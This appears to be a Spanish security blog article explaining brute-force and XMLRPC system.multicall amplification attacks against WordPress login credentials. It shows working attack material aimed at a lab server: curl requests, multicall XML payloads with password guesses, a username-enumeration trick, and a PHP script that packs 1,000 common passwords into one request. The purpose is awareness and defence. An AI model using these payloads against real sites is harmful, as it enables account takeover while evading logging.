Ataques de amplificación de fuerza bruta contra WordPress mediante XMLRPC
80 millones de Webs expuestas
El ataque de fuerza bruta es uno de los ataques más antiguos y que con más frecuencia vemos en Internet.
Se basa en repetir el proceso de autenticación con diferentes combinaciones de usuarios y contraseñas con el fin de encontrar las credenciales adecuadas mediante un proceso automatizado de ensayo y error.
Son muy populares debido a los malos hábitos de los usuarios en la elección de las contraseñas y a la posibilidad de utilizar multiples equipos (botnet) para acelerar el proceso atacando simultáneamente un mismo objetivo.
Bots atacando objetivos simultáneamente
Pero a su vez, son ataques muy sencillos de detectar y mitigar ya que generan un registro cada vez que se intenta el acceso a servicios como el correo electrónico, FTP o a la administración de nuestra Web.
Ejemplo de ataque de fuerza bruta contra el panel de acceso de WordPress wp-login.php
Log de actividad del servidor Web atacado por fuerza bruta en el archivo wp-login.php
Este ataque es el más frecuente y se realiza introduciendo combinaciones de diferentes usuarios/contraseñas en el panel de acceso a la administración de WordPress tal y como lo haría un usuario legítimo. Es posible reducir el tiempo necesario para llevar a cabo este ataque utilizando un único usuario que se obtiene de la Web atacada introduciendo el parámetro ?author=1
después del nombre del dominio.
Este ataque produce un registro en el servidor Web por cada uno de los intentos de acceso. El acceso registrado a la Web de WordPress atacada con el parámetro ?author=1
es un indicador del comienzo del ataque de fuerza bruta.
Como se puede ver en el log, la velocidad de este ataque de fuerza bruta contra WordPress es de 4 intentos de usuario/contraseña por segundo.
Como primera medida de seguridad para combatir el ataque de fuerza bruta contra el panel de administración de WordPress, es posible limitar el número de intentos de acceso al panel de administración para prevenir que los ciberdelincuentes accedan a la información de terceros.
Un ejemplo de esta protección tradicional la tenemos en los cajeros automáticos que nos permiten introducir un número limitado de veces el PIN de la tarjeta antes de “tragársela”. Siendo solo 4 dígitos numéricos es una medida imprescindible, ya que si no, el encontrar el PIN correcto sería una mera cuestión de tiempo.

Pero, ¿qué sucedería si un delincuente pudiera comprobar todas las posibles combinaciones en un solo intento? Éste es el panorama en el que nos encontramos en este momento.
La primera consecuencia es que terminaría con las medidas de protección tradicionales en las que muchos confían ciegamente y aumentarían los robos.
Como podemos ver en las estadísticas publicadas por Sucuri, empresa especializada en la seguridad de WordPress, durante el 2015 los ataques de fuerza bruta contra WordPress han aumentado un 500% porque estas medidas convencionales de seguridad no han conseguido detenerlos. No solo es una cuestión del número de ataques sino de su porcentaje de éxito.
Imagen publicada por Sucuri
Estamos por tanto ante un cambio en los métodos de ataque que no están contemplados por los desarrolladores de WordPress y que exponen a los usuarios de las Webs y a los servidores donde se alojan.
Siguiendo con el símil bancario imagínense que fuera posible obtener de manera inmediata el PIN, no de una tarjeta, sino de 80 millones y que no fuera necesario tenerla para acceder a la información del cliente, sino que estuviera disponible a través de Internet.
80 millones de páginas Web vulnerables.
Durante el 2015 los ataques por fuerza bruta han aumentado un 500%.
XMLRPC. La vulnerabilidad más explotada en la historia de WordPress.
Nada más que la funcionalidad XMLRPC fue habilitada por defecto en las nuevas instalaciones de WordPress limpias y “seguras” se utilizaron para realizar ataques de denegación de servicio distribuido (DDOS) contra otras Webs sin necesidad de infectarlos/vulnerarlos previamente. Posiblemente durante año y medio haya sido la botnet con más éxito de la historia, aunque esto no sea una buena publicidad para WordPress.
En marzo de 2014, Sucuri informó de 162.000 sitios basados en WordPress estaban siendo utilizados para realizar un ataque de DDOS a través de un agujero de seguridad en la implementación del protocolo XMLRPC.
Exactamente a través del método system.pingback. De hecho, puede que tu instalación de WordPress haya sido utilizada para atacar otras Webs sin que ni siquiera te hayas dado cuenta.
¿Qué es el protocolo XMLRPC?
XMLRPC es un interfaz muy sencillo utilizado en WordPress, Joomla o Drupal que permite hacer operaciones remotas en nuestras páginas Webs.
Tareas como publicar contenidos remotamente, acceder a la Web desde aplicaciones para móviles o algunos de los plugins más utilizados de WordPress utilizan el protocolo XMLRPC para su funcionamiento. Está habilitado por defecto desde la versión de WordPress 3.5 (diciembre 2012).
Puedes comprobar si lo tienes habilitado accediendo por HTTP al archivo xmlrpc.php en la raíz de tu instalación de WordPress o en la siguiente dirección:
El protocolo XMLRPC se utiliza un gran variedad de plugins y aplicaciones estrechamente relacionadas con el desarrollo principal de WordPress cuya implementación necesita revisión.
Algunos plugins y aplicaciones de WordPress que utilizan el protocolo XMLRPC
- Jetpack. Plugin de WordPress con más de un millón de instalaciones desarrollado por Automattic empresa participada por los creadores de WordPress.
- BuddyPress. Plugin de WordPress con más de 100 mil instalaciones creado por Matt Mullenweg, desarrollador original de WordPress.
- Microsoft Windows Live Writer. Microsoft Office permite publicar los contenidos directamente en tu blog desde el interfaz de Word.
- WordPress móvil (iOS y Android). Aplicación para administrar WordPress desde dispositivos móviles, desarrollado por Automattic.
- Galerías de imágenes. Algunas galerías de imágenes utilizan XMLRPC para publicar las fotos remotamente.
Pero system.pingback no es el único método disponible a través del protocolo XMLRPC. Podemos ver una lista de todos los métodos disponibles revisando el archivo /wp-includes/class-wp-xmlrpc-server.php o haciendo una llamada con el método system.listMethods. La forma más sencilla de hacerlo en Linux es mediante el comando cURL. El siguiente comando envía el XML contenido en el archivo llamada.txt como una petición POST al API remoto de WordPress:
1 | curl --data @llamada.txt http://192.168.1.7/xmlrpc.php |
El archivo llamada.txt contiene la llamada del API de WordPress:
1 2 3 4 5 | <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall> |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 | <methodResponse> <params> <param> <value> <array><data> <value> <string>system.multicall</string> </value> <value> <string>system.listMethods</string> </value> <value> <string>system.getCapabilities</string> </value> <value> <string>demo.multiplyTwoNumbers</string> </value> <value> <string>demo.addTwoNumbers</string> </value> <value> <string>demo.sayHello</string> </value> <value> <string>pingback.extensions.getPingbacks</string> </value> <value> <string>pingback.ping</string> </value> <value> <string>mt.publishPost</string> </value> <value> <string>mt.getTrackbackPings</string> </value> <value> <string>mt.supportedTextFilters</string> </value> <value> <string>mt.supportedMethods</string> </value> <value> <string>mt.setPostCategories</string> </value> <value> <string>mt.getPostCategories</string> </value> <value> <string>mt.getRecentPostTitles</string> </value> <value> <string>mt.getCategoryList</string> </value> <value> <string>metaWeblog.getUsersBlogs</string> </value> <value> <string>metaWeblog.setTemplate</string> </value> <value> <string>metaWeblog.getTemplate</string> </value> <value> <string>metaWeblog.deletePost</string> </value> <value> <string>metaWeblog.newMediaObject</string> </value> <value> <string>metaWeblog.getCategories</string> </value> <value> <string>metaWeblog.getRecentPosts</string> </value> <value> <string>metaWeblog.getPost</string> </value> <value> <string>metaWeblog.editPost</string> </value> <value> <string>metaWeblog.newPost</string> </value> <value> <string>blogger.deletePost</string> </value> <value> <string>blogger.editPost</string> </value> <value> <string>blogger.newPost</string> </value> <value> <string>blogger.setTemplate</string> </value> <value> <string>blogger.getTemplate</string> </value> <value> <string>blogger.getRecentPosts</string> </value> <value> <string>blogger.getPost</string> </value> <value> <string>blogger.getUserInfo</string> </value> <value> <string>blogger.getUsersBlogs</string> </value> <value> <string>wp.getCommentStatusList</string> </value> <value> <string>wp.newComment</string> </value> <value> <string>wp.editComment</string> </value> <value> <string>wp.deleteComment</string> </value> <value> <string>wp.getComments</string> </value> <value> <string>wp.getComment</string> </value> <value> <string>wp.setOptions</string> </value> <value> <string>wp.getOptions</string> </value> <value> <string>wp.getPageTemplates</string> </value> <value> <string>wp.getPageStatusList</string> </value> <value> <string>wp.getPostStatusList</string> </value> <value> <string>wp.getCommentCount</string> </value> <value> <string>wp.uploadFile</string> </value> <value> <string>wp.suggestCategories</string> </value> <value> <string>wp.deleteCategory</string> </value> <value> <string>wp.newCategory</string> </value> <value> <string>wp.getTags</string> </value> <value> <string>wp.getCategories</string> </value> <value> <string>wp.getAuthors</string> </value> <value> <string>wp.getPageList</string> </value> <value> <string>wp.editPage</string> </value> <value> <string>wp.deletePage</string> </value> <value> <string>wp.newPage</string> </value> <value> <string>wp.getPages</string> </value> <value> <string>wp.getPage</string> </value> <value> <string>wp.getUsersBlogs</string> </value> </data></array> </value> </param> </params> </methodResponse> |
Como hemos comentado anteriormente, el ataque de fuerza bruta contra WordPress a través del la página de acceso del administrador es fácil de detectar y mitigar así que los ciberdelincuentes han evolucionado hacia otra forma de lanzar ataques de fuerza bruta difícil de detectar utilizando el protocolo XMLRPC.
Algunos de estos métodos XMLRPC son autenticados para poder modificar la Web de forma segura. Por ejemplo cuando administramos la Web desde el iPhone o cuando añadimos un post a través de Microsoft Office. Los ciberdelincuentes explotan esto para probar un número ilimitado de combinaciones de usuarios y contraseñas hasta que obtienen acceso a la Web.
Comprobación de credenciales del administrador a través de XMLRPC en WordPress
Log de actividad del servidor Web del archivo xmlrpc.php
Este ataque también produce un registro en el servidor Web por cada uno de los intentos de acceso. Pero en vez de explotar el archivo wp-login.php (monitorizado ya que es el responsable de gestionar el acceso al panel de administración) utiliza el archivo xmlrpc.php.
El siguiente paso es automatizar el proceso de generación de las consultas a través del interfaz XMLRPC. Para eso utilizo un pequeño script en php que obtiene los usuarios y posibles contraseñas de un archivo externo.
Ataque de fuerza bruta a través de XMLRPC en WordPress
Script en PHP para realizar el ataque de fuerza bruta mediante XMLRPC
md5: 2C5A2316BCC73D7C7B54BBC5DACE7C27
sha1: 2F6B7344DA21E380F990A137C210D2F89CDF9615
1 2 | php wpbruteforce.php http://192.168.1.7/xmlrpc.php users.txt passwords.txt |
Log de actividad del servidor Web del archivo xmlrpc.php
Este ataque también produce un registro en el servidor Web por cada uno de los intentos de acceso siendo muy fácil de detectar y mitigar.
Como se puede ver en el log, la velocidad de este ataque de fuerza bruta a través del archivo xmlrpc.php es de 3 intentos de usuario/contraseña por segundo.

Ataques de amplificación de fuerza bruta contra WordPress mediante XMLRPC
La respuesta del servidor al realizar la petición system.listMethods devuelve la lista de métodos API disponibles en la instalación de WordPress. Como hemos visto, algunas de esas llamadas requieren autenticación para garantizar su seguridad.
Dentro de la respuesta se encuentra el método system.multicall que nos permite anidar las consultas al API de WordPress en una sola petición.
Combinando el método system.multicall junto con las llamadas con autenticación el servidor nos confirmará si las credenciales de cada una de las consultas son correctas en una sola petición haciendo el ataque muchos más eficiente (amplificación).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>system.multicall</methodName> <params> <param><value><array><data> <value><struct> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> <member> <name>params</name><value><array><data> <value><array><data> <value><string>admin</string></value> <value><string>password</string></value> </data></array></value> </data></array></value> </member> </struct></value> <value><struct> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> <member> <name>params</name> <value><array><data> <value><array><data> <value><string>admin</string></value> <value><string>password</string></value> </data></array></value> </data></array></value> </member> </struct></value> </data></array></value> </param> </params> </methodCall> |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <!--?xml version="1.0" encoding="UTF-8"?--> faultCode403 faultStringNombre de usuario o contraseña incorrecta. faultCode403 faultStringNombre de usuario o contraseña incorrecta. |
¿Cuántas consultas podremos hacer a través del API de WordPress en una sola petición? ¿Cuánto podremos amplificar el ataque convencional de fuerza bruta?
Para responder a esta pregunta he creado un sencillo script en PHP que genera un archivo de consulta XML con las peticiones autenticadas a partir de un archivo de claves en texto plano.
El archivo de claves que he utilizado contiene las 1.000 contraseñas más utilizadas en Internet. Según estudios realizados a raíz de las claves filtradas de Adobe, Hotmail, Sony, etc… las claves del 91% de los usuarios se encuentran entre las 1.000 más utilizadas. Por tanto solo deberíamos de probar 1.000 contraseñas para acceder al 90% de las Webs basadas en WordPress.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?php $archivo_llamadas = fopen("llamadas.txt","wb") or exit("No se puede crear el archivo llamadas.txt"); $archivo_claves = fopen("1000claves.txt","r") or die("No se puede abrir el archivo claves.txt"); $cabecera = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>"; $pie = "</data></array></value></param></params></methodCall>"; fputs($archivo_llamadas,$cabecera); while (!feof($archivo_claves)) { $clave = fgets($archivo_claves); $llamada = "<value><struct><member><name>methodName</name><value><string>wp.getUsers</string></value></member><member><name>params</name><value><array><data><value><string>1</string><string>admin</string><string>" . $clave . "</string></value></data></array></value></member> </struct></value>"; fputs($archivo_llamadas,$llamada); } fputs($archivo_llamadas,$pie); fclose($archivo_llamadas); fclose($archivo_claves); ?> |
Una vez generado el archivo XML llamadas.txt con las 1.0000 claves combinadas con el usuario admin realizamos la petición a la API de WordPress utilizando cURL.
Ataques de amplificación de fuerza bruta contra WordPress mediante XMLRPC
Log de actividad del servidor Web del archivo xmlrpc.php
Como se puede ver en el log del servidor Web las 1.000 consultas autenticadas con usuario y contraseña solo han generado un registro. Además el tiempo de respuesta del servidor a esa petición anidada ha sido de apenas 5 segundos.
El ataque de amplificación de fuerza bruta contra WordPress mediante XMLRPC system.multicall es 50 veces más rápido que un ataque de fuerza bruta convencional y evita las medidas de seguridad tradicionales que nos protegen frente a este tipo de ataques ya que no queda registro de este abuso en el servidor Web.

Mientras que las medidas de seguridad tradicionales como limitar los intentos de acceso añadir la doble autenticación son efectivas bloqueando los ataques contra la página de acceso del administrador, no protegen contra los ataques amplificados de fuerza bruta contra WordPress mediante XMLRPC.
Algunas medidas que no nos protegen frente a los ataques de amplificación de fuerza bruta contra WordPress mediante XMLRPC:
- Limitar el número de intentos de acceso al panel de administración.
- Cambiar la URL de acceso al panel de administración.
- Autenticación en dos pasos.
- Comprobación CAPTCHA.
- Instalar el plugin de Latch para WordPress.
- Bloquear el acceso a la administración a través del archivo .htaccess.
- No utilizar el usuario “admin” para acceder a la administración.
Con mucha frecuencia podemos encontrar en Internet artículos sobre lo seguro que es WordPress y hasta algunos se aventuran a afirmar que lo seguirá siendo (casi nada). Solo es necesario revisar el histórico de vulnerabilidades que ha tenido esta gran plataforma, tanto es su núcleo, plugins y temas, para, por lo menos, ser muy prudentes a la hora de hablar de seguridad y WordPress en el mismo artículo.
Por el contrario, creo que un pensamiento crítico y la divulgación técnica pueden ayudar a concienciar a la comunidad y evitar que el éxito de WordPress sea su punto más débil.
En el siguiente artículo sobre WordPress comentaré con detalle qué medidas de seguridad podemos adoptar para combatir esta vulnerabilidad.
Referencias:
SUCURI – More Than 162,000 WordPress Sites Used for Distributed Denial of Service Attack
Carlos Sánchez Santos
Forense informático
Auditor de Seguridad FTSAU - RHCT 605007791313908 - RHCSA 100/014/133 CEH ECC942714
Latest posts by Carlos Sánchez Santos (see all)
- Artículo – ¿Me han hackeado la Web?, pero si yo no le intereso a nadie… - 13 abril, 2016
- Artículo – El peligro de conectarse remotamente - 6 abril, 2016
- Prensa – Carlos Sánchez Santos en Informativos Telecinco - 18 noviembre, 2015
Leave A Comment